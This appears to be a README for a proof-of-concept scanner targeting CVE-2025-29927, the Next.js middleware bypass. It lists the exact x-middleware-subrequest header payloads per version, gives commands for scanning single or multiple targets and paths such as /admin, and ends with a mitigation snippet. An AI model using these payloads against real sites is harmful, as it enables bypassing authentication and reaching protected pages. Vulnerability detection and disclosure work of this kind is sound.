
A robust proof of concept (PoC) tool to detect the Next.js middleware vulnerability (CVE-2025-29927).
This tool tests a critical vulnerability in Next.js applications where the x-middleware-subrequest header can be used to bypass security checks implemented in middleware. The exploit involves sending HTTP requests with specific malicious headers, varying according to the Next.js version.
According to research, there are different payloads for different Next.js versions:
Versions prior to 12.2:
x-middleware-subrequest: pages/_middleware
Versions from 12.2 onwards:
x-middleware-subrequest: middleware
or
x-middleware-subrequest: src/middleware
(if the application uses the src directory)
More recent versions (e.g. 15.x):
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
or
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
Our PoC tests all these payloads automatically and reports which one was successful.
# Clone the repository or download the files
# Navigate to the directory
cd poc-nextjs-2025
# Install the required packages
pip install -r requirements.txt
python main.py -u https://example.com # Test a single URL
python main.py -f targets.txt # Test multiple URLs from a file
# Basic single target scan
python main.py -u https://example.com
# Scan multiple targets with custom paths
python main.py -f targets.txt -p /api/users,/admin,/dashboard
# Scan with higher concurrency and longer timeout
python main.py -u https://example.com -t 10 --timeout 15
# Save results to a JSON file
python main.py -u https://example.com -o scan_results.json
The scanner works by:
x-middleware-subrequest header according to Next.js versionsIf you discover vulnerable applications, apply these mitigations:
x-middleware-subrequest headerexport function middleware(request: NextRequest) {
if (request.headers.has('x-middleware-subrequest')) {
return new Response('Unauthorized', { status: 401 });
}
return NextResponse.next();
}
| Option | Description |
|---|
-u, --url URL | Target URL to scan |
-f, --file FILE | File containing multiple URLs to scan (one per line) |
-p, --paths PATHS | Comma-separated list of paths to test (default: common paths) |
-t, --threads N | Number of concurrent threads (default: 5) |
-o, --output FILE | Save results to JSON file |
--timeout N | Request timeout in seconds (default: 10) |